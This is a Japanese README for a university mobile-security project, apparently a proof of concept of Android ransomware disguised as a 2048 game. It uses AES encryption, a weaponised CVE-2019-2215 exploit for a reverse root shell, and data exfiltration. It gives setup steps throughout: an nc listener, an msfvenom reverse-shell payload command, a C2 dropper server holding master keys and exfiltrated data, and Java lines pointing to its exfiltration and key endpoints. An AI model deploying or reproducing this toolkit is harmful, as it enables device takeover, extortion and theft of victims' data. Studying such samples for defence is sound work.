Androidランサムウェア開発 - AES256暗号化 + CVE-2019-2215（リバースルートシェル）+ データ窃取
このプロジェクトは教育目的のみです。このプロジェクトは rkshrksh/2048-Game と kangtastic/cve-2019-2215 のコードを利用しています。
このプロジェクトは、シンガポール工科大学（Singapore Institute of Technology）のモバイルセキュリティモジュールの一部です。プロジェクトは6週間で行われ、その目的は悪意のあるAndroidアプリケーションを開発することでした。これにより、Android OSにセキュリティメカニズムがどのように実装されているか、そしてOWASP Mobile Top 10:2017 M8 - Code Tampering をどのように活用できるかを学ぶことができました。
このプロジェクトは、AES暗号化を利用し、cve-2019-2215を兵器化し、感染したデバイスからデータを外部送信する、自作のランサムウェアを紹介するための概念実証（proof of concept）です。
Android 10 と Google Pixel 2 XL でテストされています。
├── 2048-Game // Android Project Folder
├── 2048-keystore // Test-Keystore
├── cve-2019-2215 // Modified cve-2019-2215
│ └── cve-2019-2215.c
├── dropper_server // Dropper server directory
│ ├── cve-2019-2215 // shells.zip content before zipping
│ ├── dropper_server.py // Dropper server program
│ ├── exfiltrated_data.log
│ ├── masterkeys.txt
│ ├── ncat.exe // Netcat windows binary - for Reverse shell listener
│ ├── requirements.txt
│ ├── shells.zip // shells.zip that is hosted in root of dropper server
│ └── venv
└── test_images // test_images for easy adb push <image.ext> /sdcard/Pictures
このテストでは、被害者端末とC2サーバーが同じサブネットにあることを確認してください（それ以外の場合は、C2をパブリックインターネット上でホストしてください）。C2サーバーには、dropper/dropper_server.py にある3つのエンドポイントがあります。
nc -lvnp 1337 # Ideally this should be the same IP as the dropper server
# Generate rs.elf payload
msfvenom -p linux/aarch64/shell_reverse_tcp LHOST=<Attacker IP> LPORT=<Attacker Port> -f elf > rs.elf
# Better to run flask on Windows if WSL don't port forward localhost traffic to Windows Host
cd dropper
python3 -m venv venv # Create venv
# Activate venv
. venv/bin/activate # Linux
venv\Scripts\activate.bat # Windows
pip install -r requirements.txt --upgrade pip # Make sure host shell is root/Administrator
# Run C2 server
python3 dropper_server.py # WSL
python dropper_server.py # Windows
shells.zip は /dropper 内
Javaクラス
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Temproot.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/process_command"; // Line 19
// File : 2048-Game/app/src/main/java/aarkay/a2048game/Encrypt.java
// Change IP and port according to dropper server IP and port
String URL = "http://192.168.157.73:8080/get_mk"; // Line 45
// File : 2048-Game/app/src/main/java/aarkay/a2048game/PostData.java
// Change IP and port according to dropper server IP and port
String urlString = "http://192.168.157.73:8080/postData"; // Line 32